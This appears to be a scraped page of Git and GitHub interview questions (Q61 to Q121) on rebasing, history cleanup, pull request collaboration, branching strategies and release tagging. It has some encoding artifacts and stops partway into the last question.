Why โ --rebase-merges replaces the old --preserve-merges, which was removed because it handled interactive edits badly.
Interview tip โ git range-diff shows what really changed between two versions of a rewritten branch.
Q61 You rebased and force-pushed a branch your teammate also had checked out. What does he do now?
Advanced
Situation read โ His local branch has the old commits, the remote has new ones. A normal git pull will merge both and duplicate commits.
What I'd do โ
- If he has no local commits:
git fetch && git reset --hard origin/feature. - If he has local commits:
git rebase --onto origin/feature <old-remote-tip> feature, where the old tip comes fromgit reflog show origin/feature. - Or
git pull --rebase, which uses the fork-point to drop the duplicates automatically.
Why โ Git needs to know which of his commits are already rewritten upstream. Fork-point detection uses the reflog.
Interview tip โ Better still: announce before rewriting shared branches, or avoid doing it.
Q62 You rebased 12 commits and want to be sure every commit still builds.
Intermediate
Situation read โ Rebase can leave intermediate commits broken even if the tip works.
What I'd do โ
git rebase -i --exec "make build && make test" origin/main.- Rebase stops at the first failing commit; fix it,
git commit --amend, thengit rebase --continue. - For a CI check, run each commit:
git rebase --exec "./ci.sh" origin/main.
Why โ Every commit being green keeps git bisect trustworthy.
Interview tip โ Linux-style projects require "bisectable" series. Mention this as the reason.
Q63 The repo is slow to clone because someone committed a 1 GB dataset two years ago and deleted it later. How do you shrink it?
Intermediate
Situation read โ Deleting a file in a later commit leaves it in history forever.
What I'd do โ
- Find big blobs:
git rev-list --objects --all | git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' | sort -k3 -n -r | head. - On a fresh mirror clone:
git filter-repo --path data/big.csv --invert-paths. - Force-push all refs, then have everyone re-clone.
- Ask GitHub Support to run garbage collection on cached views if needed.
Why โ Only rewriting history removes the blob, and that changes SHAs for everything after it.
Interview tip โ Plan the re-clone communication. Open PRs will have to be recreated.
Q64 An older commit message is poor and the branch is private. How do you reword it?
Beginner
Situation read โ Only the message of a past commit needs to change.
What I'd do โ
git rebase -i HEAD~6.- Change
picktorewordfor the target commit. - Save, then edit the message in the editor that opens.
git push --force-with-leaseif the branch was pushed.
Why โ Reword replays that commit with a new message and updates descendants.
Interview tip โ For only the last commit, git commit --amend is enough.
Q65 Your history is full of "Merge branch 'main' into feature" noise from git pull.
Beginner
git pull.Situation read โ Plain git pull merges upstream into your local commits, creating a merge commit each time.
What I'd do โ
git config --global pull.rebase truemakes pull replay your commits on top.- Or
git config --global pull.ff onlyto refuse non-fast-forward pulls and decide consciously. - Fix an existing branch with
git rebase origin/main.
Why โ Rebase keeps local work on top of upstream, giving a linear branch.
Interview tip โ Newer Git warns until you set pull.rebase, so setting it is part of a good global config.
Q66 A cherry-pick hits conflicts and you are unsure about it.
Beginner
Situation read โ The target branch has diverged from where the commit was made.
What I'd do โ
git statusshows the conflicted files; look at what the commit intended withgit show <sha>.- Resolve,
git add, thengit cherry-pick --continue. - If it is too different:
git cherry-pick --abortand ask whether a manual port is better.
Why โ Cherry-pick is a three-way merge using the commit's parent as the base.
Interview tip โ Heavy conflicts usually mean the fix needs a manual backport, not a mechanical one.
Q67 You backported fixes by cherry-pick and now want to know which commits on main are still missing from release/5.0.
Intermediate
main are still missing from release/5.0.Situation read โ SHAs differ after cherry-picks, so normal log ranges lie.
What I'd do โ
git cherry -v release/5.0 mainlists commits onmainwith+(not in release) or-(equivalent patch present).- Or
git log --oneline --cherry-pick --right-only release/5.0...main. - Review the
+list and decide what to backport.
Why โ Both commands compare patch-ids (a hash of the diff), not commit SHAs.
Interview tip โ Patch-id matching breaks if conflict resolution changed the diff, so spot check.
Q68 You accidentally merged main into your feature branch three times and want a linear branch again.
Intermediate
main into your feature branch three times and want a linear branch again.Situation read โ Merge commits are cluttering a branch that should be a clean series.
What I'd do โ
git fetch origin.git rebase origin/main(without-r) drops the merges and replays only your own commits.- Resolve conflicts once per commit.
git push --force-with-lease.
Why โ Default rebase ignores merge commits and picks the non-merge commits in the range.
Interview tip โ If a merge itself had hand-resolved conflicts, check the final diff carefully, since that resolution may be lost.
Q69 One service in the monorepo must become its own repo, with its history.
Advanced
Situation read โ You need only the commits that touched services/billing, with paths moved to the root.
What I'd do โ
- Fresh clone:
git clone --no-local monorepo billing && cd billing. git filter-repo --subdirectory-filter services/billing.- Add the new remote and push all branches and tags.
- In the monorepo, remove the directory and point to the new repo (or add it as a submodule or package dependency).
Why โ filter-repo rewrites quickly and keeps only relevant history. Never run it on your working clone.
Interview tip โ Plan CI, issue transfer, and CODEOWNERS for the new repo as part of the split.
Q70 You have stacked branches (A, B, C) and need to rebase the whole stack after A changes.
Advanced
Situation read โ Rebasing only the top branch leaves A and B pointing at old commits.
What I'd do โ
- Check out the top branch C.
git rebase -i --update-refs origin/main(Git 2.38+); the todo list updates A and B pointers too.- Push all:
git push --force-with-lease origin A B C. - Or use tooling such as
gh stack-style helpers, Graphite or ghstack for larger stacks.
Why โ --update-refs moves every branch whose tip is inside the rebased range.
Interview tip โ Stacks keep PRs small but need discipline: merge bottom-up and retarget as you go.
Q71 A rebase stops with "The previous cherry-pick is now empty". What do you do?
Intermediate
Situation read โ The commit's change is already present upstream (someone applied the same fix), so replaying it yields nothing.
What I'd do โ
- If it is truly a duplicate:
git rebase --skip. - To handle this automatically:
git rebase --empty=drop origin/main. - To keep it as an empty marker commit:
git commit --allow-emptythen continue.
Why โ Git stops by default so you consciously confirm that nothing is lost.
Interview tip โ Verify with git diff HEAD that the upstream content matches your intent before skipping.
Q72 You must backport 15 commits to three old release branches. How do you make it repeatable?
Advanced
Situation read โ Doing 45 cherry-picks by hand is error-prone.
What I'd do โ
- Collect the commits in order:
git rev-list --reverse --no-merges <range> > picks.txt. - Script it per branch:
for br in release/3.8 release/3.9 release/4.0; do
git switch -c "backport-$br" "origin/$br"
xargs -n1 git cherry-pick -x < picks.txt || break
git push origin "backport-$br"
gh pr create --base "$br" --fill
done- Stop on the first conflict and fix by hand; let CI test each PR.
- Prefer a bot (GitHub Action with labels such as
backport 4.0) for the long run.
Why โ Oldest-first order matters, since later commits assume earlier ones.
Interview tip โ Mention using PR labels to trigger automated backports.
Q73 Compliance asks that every commit on a release branch be signed. Many are not.
Advanced
Situation read โ Signing requires rewriting commits, so this is only possible on unshared or new work.
What I'd do โ
- Configure signing first:
git config gpg.format sshanduser.signingkey. - For a private branch:
git rebase --exec 'git commit --amend --no-edit -S' origin/main. - For history already shared, do not rewrite. Instead, require signatures from now on via branch protection.
- Verify:
git log --show-signature -5.
Why โ Signatures cover the commit content including parents, so retroactive signing changes every SHA.
Interview tip โ Rewriting released history breaks tags and downstream references, so policy goes forward only.
Q74 You committed to feature-a but the commit belongs on feature-b, and feature-a has other commits after it.
Intermediate
feature-a but the commit belongs on feature-b, and feature-a has other commits after it.Situation read โ One commit is in the wrong place in the middle of unpushed history.
What I'd do โ
git switch feature-b && git cherry-pick <sha>.- Back on
feature-a:git rebase -i <sha>^anddropthe commit. - Resolve conflicts if later commits relied on it.
Why โ Cherry-pick copies it to the right branch, and rebase removes the original.
Interview tip โ If the branches are pushed and shared, revert instead of dropping.
Q75 You have a 60-commit branch full of experiments and need a reviewable PR.
Intermediate
Situation read โ The final tree is good but the history is unreadable.
What I'd do โ
- Keep a backup:
git branch experiment-backup. git reset --soft $(git merge-base origin/main HEAD)collapses everything into staged changes.- Re-commit in logical pieces using
git add -p: schema, core logic, API, tests, docs. - Force-push the cleaned branch.
Why โ You build the story you want reviewers to follow, with tests passing at each step.
Interview tip โ Alternatively, offer several smaller PRs. Reviewers handle those much better.
Remotes, Collaboration and Pull Requests
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q76 You are new to a team. How do you collaborate daily without stepping on others' toes?
Beginner
Situation read โ The risk is stale branches and surprise conflicts.
What I'd do โ
- Start each task from fresh
main:git fetch && git switch -c feature/ABC-123 origin/main. - Commit small and often; push early so CI and teammates see it.
- Before opening a PR:
git fetch && git rebase origin/main, run tests. - Never push directly to
main; always use a PR.
Why โ Short-lived branches have small diffs, so conflicts are smaller and rarer.
Interview tip โ Say "fetch first, then decide merge or rebase", not blind git pull.
Q77 You are migrating a repo from Bitbucket to GitHub and must keep every branch and tag.
Intermediate
Situation read โ A normal clone only fetches some refs as local branches. A mirror copies everything.
What I'd do โ
git clone --mirror [email protected]:org/app.git && cd app.git.- Create the empty repo on GitHub, then
git push --mirror [email protected]:org/app.git. - Large files above 100 MB will be rejected; convert them with
git lfs migrate importfirst. - Update CI, webhooks and local remotes:
git remote set-url origin ....
Why โ --mirror copies all refs exactly, including remote branches and notes.
Interview tip โ Pull requests and issues do not travel with Git; use the GitHub Importer or API tools.
Q78 You want to contribute a fix to an open-source project you do not have write access to.
Beginner
Situation read โ The standard path is fork, branch, pull request.
What I'd do โ
- Fork on GitHub:
gh repo fork OWNER/REPO --clone. git switch -c fix/typo-in-readme.- Commit following the project's
CONTRIBUTING.md(sign-off, tests, style). git push -u origin fix/typo-in-readme, thengh pr create.
Why โ You push to your fork and the PR proposes the merge into the upstream repo.
Interview tip โ Read the contribution guide and open an issue first for larger changes.
Q79 A teammate sent a 3,000-line PR and nobody can review it properly.
Intermediate
Situation read โ Review quality drops sharply above a few hundred lines.
What I'd do โ
- Ask the author to split it along natural seams: refactor, schema, feature, tests.
- Land mechanical changes (renames, moves, formatting) first as separate PRs.
- Use feature flags to merge incomplete work safely behind a switch.
- Set up a PR size label or a soft limit in CI to nudge future PRs.
Why โ Small PRs get faster, deeper review and are easier to revert.
Interview tip โ Offer to pair with the author on the split, which keeps the tone constructive.
Q80 A reviewer asks for changes. How do you update the PR cleanly?
Beginner
Situation read โ The PR updates automatically when you push to its branch.
What I'd do โ
- Make the changes locally and commit them.
git push(no force needed for plain commits).- Reply to each comment and resolve threads you have addressed.
- Re-request review using the "Re-request" icon.
Why โ New commits show up in the PR timeline, so reviewers can see what changed since their review.
Interview tip โ Avoid force-pushing mid-review unless the team agreed, since it can hide incremental changes.
Q81 Your team wants stacked PRs so that large work arrives in small reviewable steps. How do you set it up?
Advanced
Situation read โ Each PR depends on the one below, so base branches and merge order matter.
What I'd do โ
- Branch chain:
feat-1frommain,feat-2fromfeat-1,feat-3fromfeat-2. - PR bases:
feat-1 โ main,feat-2 โ feat-1,feat-3 โ feat-2. - Merge bottom-up. When the base branch is deleted after merging, GitHub retargets the next PR to
main. - Rebase upstream branches with
git rebase --update-refsafter changes or squash merges. - Consider tooling (Graphite, ghstack, git-branchless) when stacks are common.
Why โ Reviewers see only a small diff per PR, even though the work is large.
Interview tip โ Squash merging forces rebase --onto for the next layer, so mention it.
Q82 Why do you use --force-with-lease, and when does it still hurt?
Intermediate
--force-with-lease, and when does it still hurt?Situation read โ After rebasing, you must overwrite the remote branch, but you want protection against deleting a teammate's new commits.
What I'd do โ
git push --force-with-lease origin feature.- Pin the expected tip for more safety:
--force-with-lease=feature:<sha>; add--force-if-includes(Git 2.30+). - Avoid running
git fetchin the background (IDE auto-fetch) before pushing, because that updates the remote-tracking ref and defeats the lease check.
Why โ The push only succeeds if the remote ref still equals what you last saw.
Interview tip โ Plain --force never checks anything, so ban it on shared branches.
Q83 Management wants the default branch renamed from master to main without breaking everyone.
Intermediate
master to main without breaking everyone.Situation read โ Clones, CI, deployment scripts and PRs all reference the name.
What I'd do โ
- Rename in GitHub: Settings โ Branches, or
gh api -X POST repos/ORG/REPO/branches/master/rename -f new_name=main. Open PRs retarget and GitHub redirects some operations. - Search the repo for hard-coded names in CI files, Dockerfiles and docs.
- Each developer runs:
git branch -m master main
git fetch origin
git branch -u origin/main main
git remote set-head origin -a- Update branch protection rules and deployment triggers.
Why โ The server rename is easy; the long tail is automation referring to the old name.
Interview tip โ Announce a date and keep a checklist.
Q84 The organisation renamed, and your remote URL is now stale.
Beginner
Situation read โ GitHub redirects old URLs for a while, but you should update.
What I'd do โ
git remote -vto confirm the current URL.git remote set-url origin [email protected]:new-org/app.git.git fetchto verify connectivity.- Update CI secrets, submodule URLs (
.gitmodules) and package references.
Why โ Redirects break if a new repo is created with the old name.
Interview tip โ Check .gitmodules and then run git submodule sync.
Q85 A colleague pushed feature/search and you want to work on it.
Beginner
feature/search and you want to work on it.Situation read โ You only have a remote-tracking ref until you create a local branch.
What I'd do โ
git fetch origin.git switch feature/search(Git DWIMs a tracking branch when the name matches exactly one remote).- Or explicitly:
git switch -c feature/search --track origin/feature/search. - Confirm with
git branch -vv.
Why โ A tracking branch lets git pull and git push know their default target.
Interview tip โ Talk to your colleague before pushing to their branch.
Q86 A CI job clones a 10 GB repo on every run and takes 8 minutes. How do you speed it up?
Intermediate
Situation read โ CI rarely needs full history.
What I'd do โ
- Shallow clone:
git clone --depth 1 --branch main URL. In GitHub Actions,actions/checkoutdefaults tofetch-depth: 1. - Skip file contents until needed:
git clone --filter=blob:none(partial clone). - Limit the tree with
git sparse-checkout set services/api. - Cache the repo between runs on persistent runners.
Why โ Less data transferred means less time. Only jobs that need history (changelogs, git describe, bisect) set fetch-depth: 0.
Interview tip โ Mention the blob-less partial clone for large monorepos.
Q87 You want to test a colleague's PR on your machine.
Beginner
Situation read โ You need the PR's branch locally, even if it comes from a fork.
What I'd do โ
gh pr checkout 482.- Without gh:
git fetch origin pull/482/head:pr-482 && git switch pr-482. - Run tests and review with real tooling.
- Delete the branch afterwards:
git branch -D pr-482.
Why โ GitHub exposes every PR at refs/pull/<n>/head, regardless of origin.
Interview tip โ refs/pull/<n>/merge shows the tentative merge result with the base branch.
Q88 Two developers need to work on the same feature branch simultaneously.
Intermediate
Situation read โ Shared branches need tight rules to avoid rewrite pain.
What I'd do โ
- Agree: no rebase or force-push on the shared branch.
- Both run
git pull --rebasebefore each push (rebases only local unpushed commits). - Split by file or module to reduce conflicts, and commit small.
- Alternative: each dev uses a personal branch off the feature branch and PRs into it.
Why โ Rebasing only your unpushed commits is safe, and rewriting published ones is not.
Interview tip โ Personal sub-branches are the cleanest answer.
Q89 An outside contributor's PR from a fork should run CI, but your workflow needs secrets.
Advanced
Situation read โ Secrets are not passed to workflows triggered by fork PRs, for good reason: the fork's code is untrusted.
What I'd do โ
- Keep
pull_requestfor tests that need no secrets. Fork PRs get a read-only token. - For label or comment automation, use
pull_request_targetonly if you never check out or run PR code with it. - Require approval for first-time contributors (Settings โ Actions โ Fork pull request workflows).
- For real integration tests, a maintainer pushes the contributor's commit to a branch in the main repo after review.
Why โ pull_request_target runs in the base repo's context with secrets. Running untrusted code there is a well-known compromise path.
Interview tip โ Name "pwn request" as the risk. It signals real security awareness.
Q90 Two engineers pair-programmed and you want both credited on the commit.
Beginner
Situation read โ A commit has one author but can credit others with trailers.
What I'd do โ
- Add a trailer at the end of the message, after a blank line:
Add retry to webhook sender
Co-authored-by: Priya Sharma <[email protected]>- Use an email linked to their GitHub account so the avatar shows.
- On squash merges, GitHub keeps these trailers in the final commit message.
Why โ GitHub parses Co-authored-by and credits both in the UI and contribution graph.
Interview tip โ Verify the trailer survives when the squash message is edited.
Q91 A PR was merged into the wrong base branch (develop instead of main).
Intermediate
develop instead of main).Situation read โ The change is live in the wrong place and may already trigger a deploy.
What I'd do โ
- If
developis shared:git revert -m 1 <merge-sha>(or revert the squash commit) and push. - Open the correct PR against
mainfrom the original branch. - If the revert then blocks the re-merge, revert the revert when you want it back on
develop. - Check what deployments ran and roll back if needed.
Why โ Reverting keeps the shared history intact and avoids force-pushes.
Interview tip โ Prevention: restrict who can change PR base, and protect both branches.
Q92 main is busy, and PRs that passed CI break main after merging because of semantic conflicts.
Advanced
main is busy, and PRs that passed CI break main after merging because of semantic conflicts.Situation read โ Each PR was tested against an older main, not the real post-merge state.
What I'd do โ
- Enable the GitHub merge queue on
main. It builds each PR on top of the queue ahead of it. - Add
merge_groupas a trigger to the CI workflow, otherwise the queue never gets results.
on:
pull_request:
merge_group:- Set required status checks to those jobs; tune batch size and timeout.
- Fallback without a queue: "Require branches to be up to date before merging".
Why โ The queue tests exactly what will land, in the order it will land.
Interview tip โ "Up to date" requirement forces serial rebases; the merge queue scales better.
Q93 How do you make sure the right people review changes to payments code?
Intermediate
Situation read โ Review ownership must be automatic, not a convention.
What I'd do โ
- Add
.github/CODEOWNERS:
/services/payments/ @acme/payments-team
*.tf @acme/platform- Turn on "Require review from Code Owners" in branch protection.
- Make owners teams, not individuals, to survive vacations and departures.
- Use draft PRs while work is in progress to avoid early review requests.
Why โ The rule is enforced at merge time, so ownership cannot be skipped.
Interview tip โ Later patterns override earlier ones in CODEOWNERS; order matters.
Q94 An external contributor's PR has conflicts, but they are unresponsive. What do you do as a maintainer?
Intermediate
Situation read โ The change is valuable but stuck.
What I'd do โ
- If "Allow edits by maintainers" is on, check out the PR with
gh pr checkout <n>. git fetch origin && git rebase origin/main(or merge), resolve conflicts and test.git pushto the contributor's branch; the PR updates and keeps their authorship.- If edits are disabled, re-create the work on your branch and keep their commits with
Co-authored-by.
Why โ Preserving authorship respects the contributor and keeps the contribution history honest.
Interview tip โ Thank them in the PR; it matters for open-source community health.
Q95 You want a PR merge to close an issue automatically.
Beginner
Situation read โ GitHub supports closing keywords.
What I'd do โ
- In the PR description or a commit message, write
Closes #231(alsoFixes,Resolves). - Use
Closes ORG/REPO#231for another repo. - Merge into the default branch; the issue closes automatically.
- Or link manually in the PR's Development sidebar.
Why โ Closing keywords only fire when the PR targets the default branch.
Interview tip โ For release branches, close issues manually or via workflow.
Q96 After a PR merged and the branch was deleted on GitHub, git pull complains about your branch.
Beginner
git pull complains about your branch.Situation read โ Your local branch tracks a remote branch that no longer exists ([gone]).
What I'd do โ
git fetch --pruneclears the stale remote-tracking ref.git branch -vvshows branches marked: gone].- Delete them:
git branch -D old-feature. - Set
git config --global fetch.prune true.
Why โ Git never deletes remote-tracking refs unless asked.
Interview tip โ A one-liner to clean all gone branches is useful, but check the list first.
Q97 A new developer joins. What Git setup do you walk them through on day one?
Beginner
Situation read โ Good defaults prevent a pile of avoidable mistakes.
What I'd do โ
- Identity:
git config --global user.nameanduser.emailmatching their GitHub account. - Auth: SSH key or
gh auth login; add the key to GitHub. - Sane defaults:
init.defaultBranch main,pull.rebase true,fetch.prune true,rerere.enabled true. - Commit signing, editor, and the team's PR template and branching rules.
- Clone and run the repo's bootstrap script (hooks installed by
pre-commit installor similar).
Why โ Identical defaults across the team means fewer "works on my machine" Git problems.
Interview tip โ Keep this in an onboarding doc in the repo, not in people's heads.
Q98 You use a personal and a work GitHub account on one laptop.
Intermediate
Situation read โ SSH picks the first matching key, which authenticates as the wrong user.
What I'd do โ
- Create two keys and add each to its own account.
- In
~/.ssh/config:
Host github-work
HostName github.com
User git
IdentityFile ~/.ssh/id_ed25519_work
IdentitiesOnly yes- Clone with
git@github-work:ORG/repo.git. - Set the email per directory with
includeIf "gitdir:~/work/"in~/.gitconfig.
Why โ The alias selects the key, and IdentitiesOnly stops the agent from offering others.
Interview tip โ includeIf avoids committing work code with your personal email.
Q99 PR #2 was based on PR #1's branch, and #1 has just been merged. What happens to #2?
Intermediate
Situation read โ PR #2's base branch may disappear, so GitHub must decide where it points.
What I'd do โ
- If "delete branch on merge" is on, GitHub retargets #2 to the base of #1 (usually
main). - If #1 was squashed, rebase:
git rebase --onto origin/main <old-#1-tip> feature-2. - Force-push with lease and check the diff only contains #2's changes.
- Re-run CI.
Why โ Without the rebase, the squash commit and the original commits both look like changes.
Interview tip โ Merge strategy affects stacked workflows; say that out loud.
Q100 You are asked to create release notes for every release without hand-writing them.
Beginner
Situation read โ PR titles and labels already carry the info.
What I'd do โ
- Create a release with generated notes:
gh release create v2.4.0 --generate-notes. - Customise grouping with
.github/release.yml, categories by label (feature,bug,breaking). - Enforce labels on PRs with a workflow or a template.
- Use Conventional Commits with a tool like release-please if you want automated versioning.
Why โ Notes come from merged PRs, so quality depends on good PR titles.
Interview tip โ Show you know that consistent PR titles are the real investment.
Branching Strategies and Releases
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q101 An eight-person team deploys several times a day. Which branching strategy do you recommend?
Intermediate
Situation read โ High deploy frequency favours short feedback loops and small integrations.
What I'd do โ
- Trunk-based development: short-lived branches (under two days) merged to
mainthrough PRs. - Every merge to
mainmust be deployable; CI gates it. - Hide unfinished work behind feature flags.
- Cut release branches or tags only when a release needs stabilising.
Why โ Long-lived branches hide integration pain until late. Trunk-based moves that pain to every day when it is small.
Interview tip โ DORA research links trunk-based development and frequent small merges with better delivery performance.
Q102 When would you choose GitFlow over trunk-based development?
Intermediate
Situation read โ The right model depends on how software is shipped.
What I'd do โ
- GitFlow fits scheduled releases and several supported versions: mobile apps, on-prem or packaged software.
- Trunk-based fits SaaS with continuous deployment.
- If we adopt GitFlow, keep it light:
main,develop, shortrelease/*andhotfix/*branches, and skip long feature branches. - Automate merge-back from release and hotfix branches to avoid divergence.
Why โ GitFlow's overhead pays off only when you must maintain parallel release lines.
Interview tip โ Show you know the author of GitFlow himself said it is a poor fit for continuously delivered web apps.
Q103 In trunk-based development, a feature will take three weeks. How do you merge it daily without exposing it?
Intermediate
Situation read โ Branch lifetime must stay short, but the feature is not ready for users.
What I'd do โ
- Slice the work into small mergeable steps (schema, backend, API, UI).
- Wrap user-visible paths in a feature flag, default off.
- Merge each slice behind the flag; test both flag states in CI.
- Turn the flag on for staff, then a percentage, then everyone; remove the flag afterwards.
Why โ Deployment and release become separate decisions, and rollback is a flag flip.
Interview tip โ Mention flag clean-up as a real task, or flags rot into complexity.
Q104 You are cutting a release. How do you manage the release branch and late fixes?
Intermediate
Situation read โ The release needs stabilising while main keeps moving.
What I'd do โ
git switch -c release/2.5 mainand protect it.- Only bug fixes go in; each is fixed on
mainfirst, then cherry-picked with-x. - Tag release candidates:
git tag -a v2.5.0-rc.1 -m "RC1". - When ready, tag
v2.5.0on the release branch and publish.
Why โ The branch freezes scope without freezing everyone's work.
Interview tip โ Fix on main first so the next release does not regress.
Q105 Should releases use lightweight or annotated tags?
Beginner
Situation read โ Tags mark release points; the type decides what metadata they carry.
What I'd do โ
- Use annotated tags:
git tag -a v1.8.0 -m "Release 1.8.0". - Sign them if policy requires:
git tag -s v1.8.0 -m "...". - Push explicitly:
git push origin v1.8.0(or--follow-tagsfor annotated ones). - Verify with
git show v1.8.0.
Why โ Annotated tags are full objects with tagger, date and message, and git describe prefers them. Lightweight tags are just refs.
Interview tip โ git push does not send tags by default.
Q106 A release tag was placed on the wrong commit and has been published. What do you do?
Intermediate
Situation read โ Moving a published tag silently breaks anyone who fetched it and any artifact built from it.
What I'd do โ
- If nobody consumed it: delete and recreate:
git tag -d v1.8.0
git push origin :refs/tags/v1.8.0
git tag -a v1.8.0 <right-sha> -m "Release 1.8.0"
git push origin v1.8.0- If consumed, leave it and release
v1.8.1instead. - Tell users; clients must run
git fetch --tags --force.
Why โ Git never updates an existing tag on fetch without force, so users silently keep the wrong one.
Interview tip โ "Tags are immutable by policy" is the answer most teams adopt; enforce it with a tag ruleset.
Q107 Production has a bug, but main already contains unreleased features. How do you ship a hotfix?
Intermediate
main already contains unreleased features. How do you ship a hotfix?Situation read โ Deploying main would ship unfinished work.
What I'd do โ
- Branch from the production tag:
git switch -c hotfix/1.8.1 v1.8.0. - Apply the minimal fix, test, and tag
v1.8.1; deploy that tag. - Port the fix to
main:git cherry-pick -xor merge the hotfix branch forward. - Write a short post-incident note linking both PRs.
Why โ The hotfix ships only the fix; main gets it later so it is not lost.
Interview tip โ Feature flags reduce hotfix branches, since you can often disable the new feature instead.
Q108 A team uses long-lived dev, qa and prod branches with merges between them. What goes wrong?
Advanced
dev, qa and prod branches with merges between them. What goes wrong?Situation read โ Environment branches mix "what code" with "where deployed", and they drift.
What I'd do โ
- Explain the failure modes: hotfixes made in
prodnever return, cherry-picks differ per branch, and "what is in prod" depends on merge order. - Propose one trunk, build one immutable artifact per commit, and promote the same artifact through environments.
- Store environment differences as config (Helm values, Terraform vars, env-specific files), not branches.
- Migrate gradually: freeze environment branches, merge all into
main, switch pipelines to promote by SHA.
Why โ What you test in QA should be byte-for-byte what reaches prod.
Interview tip โ Say "promote artifacts, not branches".
Q109 You must support versions 3.8, 3.9 and 4.0 simultaneously. How do you handle fixes?
Advanced
Situation read โ Each fix potentially lands in four lines, so process must be cheap and traceable.
What I'd do โ
- Long-lived
release/x.ybranches, protected, receiving only fixes. - Fix on
mainfirst. Label the PR with versions needing backport (backport-3.8). - A bot (for example a GitHub Action) cherry-picks with
-xand opens PRs per branch. - Define an end-of-life policy and publish a support matrix.
Why โ Label-driven automation turns backporting from a chore into review work.
Interview tip โ Support windows are a product decision; push for a clear policy.
Q110 A monorepo has five services released independently. How do you tag and release them?
Intermediate
Situation read โ One global v1.2.3 tag cannot describe five independent versions.
What I'd do โ
- Prefix tags per service:
billing/v2.3.0,auth/v1.9.4. - Trigger service pipelines with tag filters:
on:
push:
tags: ['billing/v*']- Use path filters so CI builds only changed services.
- Generate changelogs per path:
git log billing/v2.2.0..billing/v2.3.0 -- services/billing.
Why โ Prefixes keep tags unique and let tooling infer which pipeline to run.
Interview tip โ Go modules in subdirectories use this exact tag convention.
Q111 You want a published release and deployment to start whenever someone pushes a version tag.
Beginner
Situation read โ The tag becomes the release trigger.
What I'd do โ
- Workflow trigger on tags:
on:
push:
tags: ['v*.*.*']- Build the artifact, tag the image with the tag name and commit SHA.
- Create the GitHub release:
gh release create "$GITHUB_REF_NAME" --generate-notes. - Protect
v*tags so only maintainers can create them.
Why โ The pipeline is reproducible from a tag alone, and humans only decide when to tag.
Interview tip โ Mention that tag creation permission is effectively release permission.
Q112 Developers leave feature branches open for months. What policy would you set?
Beginner
Situation read โ Old branches mean painful merges and hidden work.
What I'd do โ
- Set a soft limit, for example "branches live under 3 days".
- Add a stale-branch report:
git for-each-ref --sort=committerdate refs/remotes/origin --format='%(committerdate:short) %(refname:short)'. - Auto-delete merged branches and mark inactive PRs stale with a bot.
- Talk to owners of branches that will take long and plan feature flags.
Why โ Merge cost grows with divergence, nonlinearly.
Interview tip โ Metrics such as "age of oldest open PR" make the problem visible.
Q113 QA signs off on a build, and production must run exactly that code. How does Git support this?
Intermediate
Situation read โ The risk is rebuilding from a branch and getting different results.
What I'd do โ
- Build once per commit; name artifacts by commit SHA (for example the image tag
app:3f9a1c2). - Deploy that exact tag to QA, then production; never rebuild.
- Tag the release on the same SHA:
git tag -a v2.5.0 3f9a1c2. - Record the SHA in deployment metadata so
git logexplains what runs where.
Why โ Branch names move, SHAs do not.
Interview tip โ Pair this with pinned dependencies and lockfiles for true reproducibility.
Q114 A deployment broke production. Do you revert in Git or roll back the deployment first?
Beginner
Situation read โ Speed of recovery comes first; code history clean-up second.
What I'd do โ
- Roll back the deployment to the previous known-good artifact (redeploy the earlier tag).
- Stop the bleeding, then open an incident record.
- Revert the bad commit on
main:git revert <sha>, so the next deploy does not reintroduce it. - Fix properly with a test, and re-release.
Why โ Rolling back an artifact takes minutes. Code fixes take longer and need review.
Interview tip โ If main stays broken after a rollback, the next deploy brings the bug back.
Q115 A team of four builds a web app deployed from main. Which simple workflow do you use?
Beginner
main. Which simple workflow do you use?Situation read โ A small team needs minimal ceremony.
What I'd do โ
- GitHub Flow: branch from
main, commit, open a PR. - CI runs, one teammate reviews, squash-merge.
- Merging to
maintriggers deployment. - Protect
main(PR required, checks required, no force-push).
Why โ Few rules, always a deployable main.
Interview tip โ It is trunk-based development with PRs as the gate.
Q116 A six-month platform migration must touch hundreds of files while the product keeps shipping.
Advanced
Situation read โ A six-month branch would be unmergeable.
What I'd do โ
- Prefer incremental migration: strangler pattern, adapters, and flags merged into
maincontinuously. - If a long-lived integration branch is unavoidable, merge
maininto it daily (automated), withrerereenabled. - Have CI run the integration branch against the full suite every night.
- Land the final switch as a small PR.
Why โ Divergence is the enemy. Daily sync keeps the final merge boring.
Interview tip โ "Make the change easy, then make the easy change": branch by abstraction.
Q117 How do you enforce a branch naming convention like feature/ABC-123-short-name?
Beginner
feature/ABC-123-short-name?Situation read โ Convention only works when it is checked automatically.
What I'd do โ
- Document the pattern in
CONTRIBUTING.md. - Add a push ruleset or branch-name rule (rulesets support "branch name pattern" restrictions) to reject non-matching names.
- Or a CI check on the PR head ref.
- Link tickets automatically using the ID from the branch name.
Why โ Consistent names help tooling, such as Jira linking and release notes.
Interview tip โ Do not over-engineer; PR titles matter more than branch names.
Q118 You want changelogs and version bumps to come from commit history.
Intermediate
Situation read โ Structured messages allow tooling to derive the release type.
What I'd do โ
- Adopt Conventional Commits:
feat:,fix:,feat!:or aBREAKING CHANGE:footer. - Validate in CI with commitlint, or only validate PR titles when squash-merging.
- Use release-please or semantic-release to compute the next version, update
CHANGELOG.mdand tag. - Review the generated release PR before it ships.
Why โ fix maps to patch, feat to minor, breaking to major, so versioning is rule-based.
Interview tip โ With squash merge, the PR title is the commit message, so validate that.
Q119 A release is two days away and the team wants a code freeze. How do you enforce it technically?
Intermediate
Situation read โ Social agreements get violated under pressure.
What I'd do โ
- Branch
release/x.yand apply stricter protection: two approvals, release-manager-only merges. - Leave
mainopen for next-cycle work. - For a full freeze of
main, temporarily tighten the ruleset (restrict who can push or merge) and lift it afterward. - Document the exception process for critical fixes.
Why โ A release branch avoids freezing the whole team.
Interview tip โ Prefer "release branch freeze" to "everyone stops".
Q120 You forgot to tag last week's release and need to tag it now.
Beginner
Situation read โ A tag can be created on any past commit.
What I'd do โ
- Find the deployed commit:
git log --oneline --since="10 days ago"or the SHA in your deploy record. git tag -a v2.4.0 <sha> -m "Release 2.4.0".git push origin v2.4.0.- Back-fill the GitHub release if needed.
Why โ Tags point at commits, not at "now".
Interview tip โ Always confirm the SHA against what was actually deployed.
Q121 Product asks "what exactly changed between v2.3.0 and v2.4.0?"
Beginner
Situation read โ You need a commit-level and a file-level answer.
What I'd do โ
